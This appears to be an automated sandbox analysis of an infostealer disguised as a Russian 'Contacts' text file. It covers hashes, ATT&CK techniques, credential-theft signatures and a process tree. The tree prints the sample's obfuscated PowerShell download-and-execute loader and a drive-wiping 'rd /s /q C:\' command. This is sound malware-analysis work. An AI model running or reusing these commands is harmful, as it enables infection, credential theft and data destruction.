c0fccfbaa054a2633feeee0f5e642ef0808b6cc76c42a5c17b47466cfb2707bf

Analysis

max time kernel
140s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
31/05/2026, 16:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Контакты.txt⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀��.lnk
Size 39KB
Sample260531-vdvqlsft2m
SHA256 c0fccfbaa054a2633feeee0f5e642ef0808b6cc76c42a5c17b47466cfb2707bf
MD5 5cf1a05830543d38452ae5896983289d
SHA1 b619c8adf4c429fd62220e28ac9c719925e05f56
SHA512 9ba7e60de81bac0c443626d991cd7780b700d35a8339f6d9d369fbd0446e363afcbfd15ecb5641b0c5bc3e5a6a46e6cf25112dd882daab948daba605002ee6cb
SSDEEP 24:8aIMsff4c5+i7KQPWPNAUWXBIcCGjIYbNYz7jkwIyt4kEuuatQp3z4jI4d3nxeS9:8a4QfWe+HpCGjtbNYIqQpYX/SI9IO
TLSH
T1EC03252CCDA9822EC473C13DD8AA9712F9A36416A63DDA4D60CF734F9B13142F415B0E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access discovery execution persistence spyware stealer

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	1668	powershell.exe
8	1668	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 3 IoCs

pid	Process
5432	Runner.exe
4496	msedge.exe
2588	Runner.exe

Loads dropped DLL 3 IoCs

pid	Process
5432	Runner.exe
4496	msedge.exe
2588	Runner.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1668	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
6	raw.githubusercontent.com

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\PROGRA~1\desktop.ini	cmd.exe
File opened for modification	C:\PROGRA~1\desktop.ini	cmd.exe
File opened for modification	C:\PROGRA~1\desktop.ini	cmd.exe

Enumerates connected drives 3 TTPs 21 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	Runner.exe
File opened (read-only)	\??\I:	Runner.exe
File opened (read-only)	\??\K:	Runner.exe
File opened (read-only)	\??\M:	Runner.exe
File opened (read-only)	\??\H:	Runner.exe
File opened (read-only)	\??\P:	Runner.exe
File opened (read-only)	\??\S:	Runner.exe
File opened (read-only)	\??\U:	Runner.exe
File opened (read-only)	\??\V:	Runner.exe
File opened (read-only)	\??\W:	Runner.exe
File opened (read-only)	\??\J:	Runner.exe
File opened (read-only)	\??\N:	Runner.exe
File opened (read-only)	\??\R:	Runner.exe
File opened (read-only)	\??\Z:	Runner.exe
File opened (read-only)	\??\L:	Runner.exe
File opened (read-only)	\??\O:	Runner.exe
File opened (read-only)	\??\Q:	Runner.exe
File opened (read-only)	\??\T:	Runner.exe
File opened (read-only)	\??\X:	Runner.exe
File opened (read-only)	\??\Y:	Runner.exe
File opened (read-only)	\??\E:	Runner.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
44	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
5432	Runner.exe
5432	Runner.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\PROGRA~1\WindowsApps\DELETE~1\MID540~1.SCA\Assets\MixedRealityPortalStoreLogo.scale-125.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIEA2E~1.0_X\Assets\SQUARE~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI10D6~1.0_X\Assets\CONTRA~2\AppList.scale-150_contrast-white.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MID54F~1.0_X\Assets\PH00F5~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIF104~1.0_X\Assets\AL187D~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\DELETE~1\MICROS~1.SCA\RESOUR~1.PRI	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MID54F~1.0_X\AppCS\Assets\EMPTYV~2.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI0A7F~1.0_X\Assets\CONTRA~2\APB5FF~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MICROS~2.0_X\MICROS~1.DLL	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI88AD~1.0_X\Assets\SQUARE~3.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI0A11~1.0_X\en-gb\LOCIMA~1\offsymsb.ttf	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MICB88~1.0_X\Assets\AppTiles\APPICO~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\INTERN~1\en-US\hmmapi.dll.mui	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI6F49~1.0_X\Assets\Images\Stickers\THUMBN~1\ST9D58~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIF104~1.0_X\MICROS~1.MET\S-1-5-21-3053180483-1881419501-3594244048-1000-MergedResources-0.pri	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIB44A~1.0_X\APPXMA~1.XML	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIE908~1.SCA\Assets\AppTiles\CONTRA~2\MAPSME~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\COMMON~1\System\msadc\msdarem.dll	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\DELETE~1\MIBBCB~1.SCA\Assets\AppTiles\CONTRA~1\STOREA~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MICROS~3.0_X\Assets\AppTiles\WEATHE~2\210x173\39.jpg	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MID54F~1.0_X\Assets\PHF9EA~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MID54F~1.0_X\VIDEOF~1\Views\FRAMEE~1.XBF	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\office.odf	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MICROS~4.0_X\Assets\CONTRA~2\APEEE4~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MICROS~4.0_X\Assets\CONTRA~1\AppPackageSplashScreen.scale-200_contrast-black.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI92C9~1.0_X\Assets\ERROR_~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI0A11~1.0_X\images\CONTRA~2\ON3D26~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI8F5F~1.SCA\Assets\AL9A17~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIF104~1.0_X\Assets\AlarmsAppList.contrast-black_targetsize-60_altform-unplated.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\ExchangeMediumTile.scale-200.png	cmd.exe
File opened for modification	C:\PROGRA~1\MICROS~2\root\Office16\api-ms-win-crt-process-l1-1-0.dll	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MID5E5~1.0_X\Assets\CONTRA~2\AppList.targetsize-60_contrast-white.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI0A11~1.0_X\images\7739_2~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIE997~1.0_X\APPXBL~1.XML	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MID5E5~1.0_X\Assets\AppList.targetsize-60.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIB28C~1.0_X\Assets\CONTRA~2\AppList.targetsize-48_altform-unplated_contrast-white.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\CONTRA~2\GENERI~3.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIAFF4~1.0_X\SOLITA~1.EXE	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIF104~1.0_X\Assets\AL59DE~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI2F07~1.SCA\APPXSI~1.P7X	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI0A11~1.0_X\en-us\MSOINT~1.DLL	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI83BA~1.0_X\Assets\IN27BB~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\DELETE~1\MID540~1.SCA\Assets\CONTRA~2\MIXEDR~4.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MICROS~1.SCA\Assets\AppTiles\CONTRA~1\WE67F0~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI05FA~1.0_X\Assets\Lighting\Dark\Campfire.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI6F49~1.0_X\Assets\Images\Stickers\STICKE~4.DXT	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI6132~1.0_X\Assets\AppList.targetsize-16.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI32BC~1.0_X\Assets\CONTRA~1\ORIENT~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\MICROS~2\root\Office16\WINWORD.VisualElementsManifest.xml	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI33D2~1.0_X\SKYPEB~1\SKYPEB~1.EXE	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIF104~1.0_X\Assets\AL4DC9~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI4DB5~1.0_X\Assets\Images\PRINTA~1\GL9254~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\MICROS~2\root\vfs\PROGRA~4\MICROS~2\Office16\OSFPROXY.DLL	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIEACE~1.0_X\Assets\VoiceRecorderAppList.contrast-white_targetsize-30.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\CONTRA~1\OU4763~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI4DB5~1.0_X\Assets\SECOND~1\Transit\CONTRA~1\MEDTIL~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\DELETE~1\MI5D7C~1.SCA\Assets\CALCUL~2.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MICROS~3.0_X\Assets\AppTiles\WEATHE~2\210x173\28.jpg	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI8AAC~1.0_X\SY5B43~1.DLL	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI0A11~1.0_X\images\CONTRA~1\ONF4B4~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI0A11~1.0_X\images\CONTRA~2\ONC325~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI9A8D~1.SCA\Assets\CONTRA~2\PE559A~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI2F07~1.SCA\Assets\IN287B~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIBE99~1.0_X\MICROS~1.CON\WEBBRO~1.XAM	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4056	chrome.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\ProcessorNameString	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\ProcessorNameString	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\ProcessorNameString	Runner.exe

Enumerates system info in registry 2 TTPs 12 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
1668	powershell.exe
1668	powershell.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
5432	Runner.exe
1668	powershell.exe
1668	powershell.exe
1668	powershell.exe
1668	powershell.exe
1668	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	2588	Runner.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2064 wrote to memory of 1668	2064	cmd.exe	88
PID 1668 wrote to memory of 5432	1668	powershell.exe	104
PID 5432 wrote to memory of 224	5432	Runner.exe	105
PID 5432 wrote to memory of 1424	5432	Runner.exe	108
PID 5432 wrote to memory of 1424	5432	Runner.exe	108
PID 1424 wrote to memory of 2660	1424	chrome.exe	109
PID 1424 wrote to memory of 4056	1424	chrome.exe	112
PID 1424 wrote to memory of 6084	1424	chrome.exe	113
PID 1424 wrote to memory of 6084	1424	chrome.exe	113
PID 1424 wrote to memory of 6092	1424	chrome.exe	114
PID 1424 wrote to memory of 6092	1424	chrome.exe	114
PID 5432 wrote to memory of 4496	5432	Runner.exe	115
PID 5432 wrote to memory of 4496	5432	Runner.exe	115
PID 1668 wrote to memory of 2588	1668	powershell.exe	119
PID 2588 wrote to memory of 5092	2588	Runner.exe	121
PID 1668 wrote to memory of 5980	1668	powershell.exe	127
PID 1668 wrote to memory of 5168	1668	powershell.exe	129
PID 1668 wrote to memory of 5512	1668	powershell.exe	131
PID 1668 wrote to memory of 1208	1668	powershell.exe	133

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Контакты.txt⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀��.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h $k=31;iex(-join([byte[]]@(118,122,103,55,118,109,114,55,50,117,112,118,113,63,56,92,45,58,92,45,58,92,45,58,48,113,118,126,114,48,108,123,126,122,119,48,108,121,122,109,48,106,105,122,126,124,116,120,120,48,109,112,107,124,122,113,113,112,92,113,126,114,108,122,123,126,109,75,48,114,112,124,49,107,113,122,107,113,112,124,109,122,108,106,125,106,119,107,118,120,49,104,126,109,48,48,37,108,111,107,107,119,56,68,50,46,49,49,50,39,40,66,54,54)|%{[char]($_-bxor$k)}))
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Users\Public\Music\Mp3Drive\Runner.exe
    "C:\Users\Public\Music\Mp3Drive\Runner.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Enumerates connected drives
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5432
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /query /fo CSV /v /nh
      4⤵
      PID:224
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --no-startup-window --disable-gpu
      4⤵
      Enumerates system info in registry
      Suspicious use of WriteProcessMemory
      PID:1424
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1424240676265 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1424240676265\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1424240676265 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffeaacdc728,0x7ffeaacdc734,0x7ffeaacdc740
        5⤵
        
        PID:2660
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1424240676265" --force-high-res-timeticks=disabled --field-trial-handle=1700,i,14877864739240777945,8071992974949811618,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2020 /prefetch:3
        5⤵
        System Time Discovery
        
        PID:4056
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1424240676265" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1700,i,14877864739240777945,8071992974949811618,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1980 /prefetch:2
        5⤵
        
        PID:6084
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1424240676265" --force-high-res-timeticks=disabled --field-trial-handle=1700,i,14877864739240777945,8071992974949811618,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2400 /prefetch:8
        5⤵
        
        PID:6092
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --no-startup-window --disable-gpu
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Enumerates system info in registry
      PID:4496
- - C:\Users\Public\Runner.exe
    "C:\Users\Public\Runner.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2588
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /query /fo CSV /v /nh
      4⤵
      PID:5092
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c rd /s /q C:\
    3⤵
    - Drops desktop.ini file(s)
    - Drops file in Program Files directory
    PID:5980
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c rd /s /q C:\
    3⤵
    - Drops file in Program Files directory
    PID:5168
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c rd /s /q C:\
    3⤵
    - Drops desktop.ini file(s)
    - Drops file in Program Files directory
    PID:5512
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c rd /s /q C:\
    3⤵
    - Drops desktop.ini file(s)
    - Drops file in Program Files directory
    PID:1208

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3272

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2292

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5392

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5580

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.Windows.Search_cw5n1h2txyewy
1⤵
PID:4732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
PID:5224

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

configs.ini

Path C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\configs.ini
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

Submit Download

POWERS~1.LOG

Path C:\Users\Admin\AppData\Local\MICROS~1\CLR_v4.0\USAGEL~1\POWERS~1.LOG
Size 3KB
SHA256 1a113cf68cfdb609399f95216db547432c2e3e478045689c0aa431ef6d6c55a8
MD5 89caff63c9c4564be6afb8f4b873331a
SHA1 2f9efc4cda827774426db5d157bc236dcc4ff937
SHA512 21e0f6289c9b1aebbf0fbbd815596983584222e4088385f4f9e6cd0d594000b7ad1b9017d9f39664cd09225207d41e9eb45bbf6efad62a05c7850f3b87678c34
TLSH
T1A581EE313375B1D4C9567F071A2819D463BF4386EA64AF4CB69C621EDE2640BDB222F3
MD5 SHA1 SHA512 TLSH

Submit Download

MODULE~1

Path C:\Users\Admin\AppData\Local\MICROS~1\Windows\POWERS~1\MODULE~1
Size 53KB
SHA256 e837da85f05135bd037301e5a89ecfc2a9a1652d96825db983824da9727cf757
MD5 595df7718d3d4ab402127c8602d47555
SHA1 d0818147b14e8dd886da101859a12dbe579362d9
SHA512 b9ba1ddbf2e77373d350f6a4e0ed23fd4fb111bad9aa9720720dc6fb986b3ce448da7b6aaf2018a56c2974f8d5e889ea61573960e2565b0074e8add290eb1345
SSDEEP 1536:9C+jH0HtAHk1EdOdBLNKetflJdOYoSV3CNBQkj20pqdv+heOwUp4bN/MDE5a5/Yl:9C+jH0HtAHk1MOdBLNKetflJdOYoSV37
TLSH
T13E336093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

STARTU~1

Path C:\Users\Admin\AppData\Local\MICROS~1\Windows\POWERS~1\STARTU~1
Size 1KB
SHA256 37410f9872bf154458eda46a1ae9e3f55d399b6d08788a13f73e58d85523bd38
MD5 4d95e8be02ac18c9d642d4879e886bc3
SHA1 beb013aff631faec0678135f8977cd3d061b0acc
SHA512 f0ee2895a31f360b7955af798ca413065ebc42b62a72f7f59ceb1bf2071c8c1b6fa440ad818c812ea6e46b4cf28d97f95fe5468cd67433746faf9aac64cfe6e1
TLSH
T1CC31CB37B3DCC5E0DCC5023A569DAC1077B282C3D19ACEDB7AC0E604A1BFA84CB69180
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\HEADLE~1\Crashpad\settings.dat
Size 40B
SHA256 65d0998e3913407e5a1daa847abef0a774a4495adff0360d2539cafcc24a81c1
MD5 32c96c58d1e90dd1b4172ca2fe3e2f6f
SHA1 007881a24c408c148c3b2461829fa8921a99c09d
SHA512 705fbe8d26d47ea3c72f3a92818968881bbdc56bebb534b5d928fcb22e0e75f7b61ea6cd52c71a6eb39c6aafefa4ce528a6329dc8cdb67a6b4fd9ec3f16a76d3
MD5 SHA1 SHA512

Submit Download

AFFILI~2

Path C:\Users\Admin\AppData\Local\Temp\HEADLE~1\Default\AFFILI~2
Size 512B
